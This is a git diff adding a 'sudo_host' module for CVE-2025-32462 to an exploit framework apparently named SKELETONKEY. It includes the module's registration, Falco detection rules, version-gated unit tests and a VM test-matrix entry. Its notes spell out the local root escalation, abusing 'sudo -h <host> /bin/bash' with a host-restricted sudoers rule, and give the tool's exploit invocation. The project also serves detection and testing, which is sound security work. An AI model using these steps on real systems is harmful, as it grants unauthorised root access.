" not proc.cmdline contains \"-l\" and not user.uid = 0\n"
|
||||||
|
" output: >\n"
|
||||||
|
" sudo --host running a command by non-root\n"
|
||||||
|
" (user=%user.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
|
||||||
|
" priority: HIGH\n"
|
||||||
|
" tags: [process, mitre_privilege_escalation, T1068, cve.2025.32462]\n";
|
||||||
|
|
||||||
|
/* ---- module struct -------------------------------------------------- */
|
||||||
|
|
||||||
|
const struct skeletonkey_module sudo_host_module = {
|
||||||
|
.name = "sudo_host",
|
||||||
|
.cve = "CVE-2025-32462",
|
||||||
|
.summary = "sudo -h/--host honored beyond -l → abuse a host-restricted sudoers rule for local root (Stratascale)",
|
||||||
|
.family = "sudo",
|
||||||
|
.kernel_range = "userspace — sudo 1.8.8 ≤ V ≤ 1.9.17p0 (fixed in 1.9.17p1)",
|
||||||
|
.detect = sudo_host_detect,
|
||||||
|
.exploit = sudo_host_exploit,
|
||||||
|
.mitigate = NULL, /* mitigation: upgrade sudo to 1.9.17p1+ */
|
||||||
|
.cleanup = NULL, /* exploit runs a command as root; no persistent artifact */
|
||||||
|
.detect_auditd = sudo_host_auditd,
|
||||||
|
.detect_sigma = sudo_host_sigma,
|
||||||
|
.detect_yara = NULL, /* behavioural (argv) bug — no file artifact to match */
|
||||||
|
.detect_falco = sudo_host_falco,
|
||||||
|
.opsec_notes = "Reads sudo --version (or the cached host fingerprint). On --exploit, best-effort reads /etc/sudoers + /etc/sudoers.d/* (usually unreadable to non-root — that opacity is the bug) looking for a user-spec whose host field is neither the current hostname nor ALL; or takes the host from SKELETONKEY_SUDO_HOST. Witnesses with `sudo -n -h <host> id -u` (non-interactive, no password prompt) and pops `sudo -h <host> /bin/bash` (override via SKELETONKEY_SUDO_CMD) only on a uid-0 witness. Audit-visible via execve(/usr/bin/sudo) with -h/--host in argv and a command present (not -l); sudo's own syslog/journal logging records the spoofed host and target command. No file artifacts, no persistence.",
|
||||||
|
.arch_support = "any",
|
||||||
|
};
|
||||||
|
|
||||||
|
void skeletonkey_register_sudo_host(void)
|
||||||
|
{
|
||||||
|
skeletonkey_register(&sudo_host_module);
|
||||||
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* sudo_host_cve_2025_32462 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef SUDO_HOST_SKELETONKEY_MODULES_H
|
||||||
|
#define SUDO_HOST_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module sudo_host_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -1003,6 +1003,7 @@ static int module_safety_rank(const char *n)
|
|||||||
/* Higher = safer. Run highest-ranked vulnerable module. */
|
/* Higher = safer. Run highest-ranked vulnerable module. */
|
||||||
if (!strcmp(n, "pwnkit")) return 100; /* userspace, no kernel */
|
if (!strcmp(n, "pwnkit")) return 100; /* userspace, no kernel */
|
||||||
if (!strcmp(n, "sudoedit_editor")) return 99; /* structural argv */
|
if (!strcmp(n, "sudoedit_editor")) return 99; /* structural argv */
|
||||||
|
if (!strcmp(n, "sudo_host")) return 96; /* structural; needs a host-restricted sudoers rule */
|
||||||
if (!strcmp(n, "cgroup_release_agent")) return 98; /* structural, no offsets */
|
if (!strcmp(n, "cgroup_release_agent")) return 98; /* structural, no offsets */
|
||||||
if (!strcmp(n, "overlayfs_setuid")) return 97; /* structural setuid */
|
if (!strcmp(n, "overlayfs_setuid")) return 97; /* structural setuid */
|
||||||
if (!strcmp(n, "overlayfs")) return 96; /* userns + xattr */
|
if (!strcmp(n, "overlayfs")) return 96; /* userns + xattr */
|
||||||
|
|||||||
@@ -69,6 +69,7 @@ extern const struct skeletonkey_module tioscpgrp_module;
|
|||||||
extern const struct skeletonkey_module vsock_uaf_module;
|
extern const struct skeletonkey_module vsock_uaf_module;
|
||||||
extern const struct skeletonkey_module nft_pipapo_module;
|
extern const struct skeletonkey_module nft_pipapo_module;
|
||||||
extern const struct skeletonkey_module ptrace_pidfd_module;
|
extern const struct skeletonkey_module ptrace_pidfd_module;
|
||||||
|
extern const struct skeletonkey_module sudo_host_module;
|
||||||
|
|
||||||
static int g_pass = 0;
|
static int g_pass = 0;
|
||||||
static int g_fail = 0;
|
static int g_fail = 0;
|
||||||
@@ -770,6 +771,38 @@ static void run_all(void)
|
|||||||
&ptrace_pidfd_module, &h_pidfd_7_1_0,
|
&ptrace_pidfd_module, &h_pidfd_7_1_0,
|
||||||
SKELETONKEY_OK);
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* ── sudo_host (CVE-2025-32462) ──────────────────────────────
|
||||||
|
* Version-gated on sudo [1.8.8, 1.9.17p0]; fixed 1.9.17p1.
|
||||||
|
* Assumes sudo is installed on the runner (as the other sudo_*
|
||||||
|
* rows do — detect() PRECOND_FAILs without a setuid sudo). */
|
||||||
|
|
||||||
|
/* vulnerable sudo 1.8.31 (in range) → VULNERABLE */
|
||||||
|
run_one("sudo_host: sudo 1.8.31 (in range) → VULNERABLE",
|
||||||
|
&sudo_host_module, &h_vuln_sudo,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* fixed sudo 1.9.17p1 → OK (note: 1.9.13p1 is still vulnerable to
|
||||||
|
* THIS CVE, so h_fixed_sudo can't be reused here) */
|
||||||
|
struct skeletonkey_host h_sudo_host_fixed = h_kernel_6_12;
|
||||||
|
strcpy(h_sudo_host_fixed.sudo_version, "1.9.17p1");
|
||||||
|
run_one("sudo_host: sudo 1.9.17p1 (fixed) → OK",
|
||||||
|
&sudo_host_module, &h_sudo_host_fixed,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* sudo 1.8.6 predates the -h behaviour (< 1.8.8) → OK */
|
||||||
|
struct skeletonkey_host h_sudo_host_old = h_kernel_6_12;
|
||||||
|
strcpy(h_sudo_host_old.sudo_version, "1.8.6");
|
||||||
|
run_one("sudo_host: sudo 1.8.6 (pre-1.8.8) → OK",
|
||||||
|
&sudo_host_module, &h_sudo_host_old,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* sudo 1.9.17 plain (== 1.9.17p0) → VULNERABLE (fix is p1) */
|
||||||
|
struct skeletonkey_host h_sudo_host_1917 = h_kernel_6_12;
|
||||||
|
strcpy(h_sudo_host_1917.sudo_version, "1.9.17");
|
||||||
|
run_one("sudo_host: sudo 1.9.17 (==p0, pre-p1 fix) → VULNERABLE",
|
||||||
|
&sudo_host_module, &h_sudo_host_1917,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
/* ── coverage report ─────────────────────────────────────────
|
/* ── coverage report ─────────────────────────────────────────
|
||||||
* Iterate the runtime registry (populated by skeletonkey_register_*
|
* Iterate the runtime registry (populated by skeletonkey_register_*
|
||||||
* calls in main()) and warn for any module that was not touched
|
* calls in main()) and warn for any module that was not touched
|
||||||
|
|||||||
@@ -294,3 +294,12 @@ ptrace_pidfd:
|
|||||||
kernel_version: "5.15.5"
|
kernel_version: "5.15.5"
|
||||||
expect_detect: VULNERABLE
|
expect_detect: VULNERABLE
|
||||||
notes: "CVE-2026-46333; __ptrace_may_access dumpable-race credential-fd theft via pidfd_getfd. Qualys disclosure 2026-05-20, fixed 2026-05-14 mainline (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7). Mainline 5.15.5 carries the pidfd_getfd vector (added 5.6) and is below every fix backport, so detect() returns VULNERABLE; installed via kernel.ubuntu.com/mainline/v5.15.5/ (same box/kernel as nf_tables / af_unix_gc / nft_pipapo). Brand-new addition this cycle: exploit() fires the real pidfd_getfd steal primitive and reports a captured root-owned fd, but the full target-specific root-pop is not yet VM-verified — sweep pending."
|
notes: "CVE-2026-46333; __ptrace_may_access dumpable-race credential-fd theft via pidfd_getfd. Qualys disclosure 2026-05-20, fixed 2026-05-14 mainline (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7). Mainline 5.15.5 carries the pidfd_getfd vector (added 5.6) and is below every fix backport, so detect() returns VULNERABLE; installed via kernel.ubuntu.com/mainline/v5.15.5/ (same box/kernel as nf_tables / af_unix_gc / nft_pipapo). Brand-new addition this cycle: exploit() fires the real pidfd_getfd steal primitive and reports a captured root-owned fd, but the full target-specific root-pop is not yet VM-verified — sweep pending."
|
||||||
|
|
||||||
|
# ── sudo_host (CVE-2025-32462) addition ─────────────────────────────
|
||||||
|
|
||||||
|
sudo_host:
|
||||||
|
box: ubuntu1804 # ships sudo 1.8.21p2 — inside [1.8.8, 1.9.17p0]
|
||||||
|
kernel_pkg: ""
|
||||||
|
kernel_version: "4.15.0"
|
||||||
|
expect_detect: VULNERABLE
|
||||||
|
notes: "CVE-2025-32462; sudo -h/--host policy bypass (Stratascale, sibling of sudo_chwoot). Ubuntu 18.04 ships sudo 1.8.21p2, inside the vulnerable range [1.8.8, 1.9.17p0] (fixed 1.9.17p1), so detect() returns VULNERABLE on the version gate. Exercising exploit() empirically needs a sudoers rule scoped to a host other than the box hostname (and not ALL): provision e.g. 'vagrant fakehost = (ALL) NOPASSWD: ALL' in /etc/sudoers.d/, then 'SKELETONKEY_SUDO_HOST=fakehost skeletonkey --exploit sudo_host --i-know' pops root via 'sudo -h fakehost /bin/bash'. Brand-new addition this cycle; provisioner + sweep pending."
|
||||||
|
|||||||
Reference in New Issue
Block a user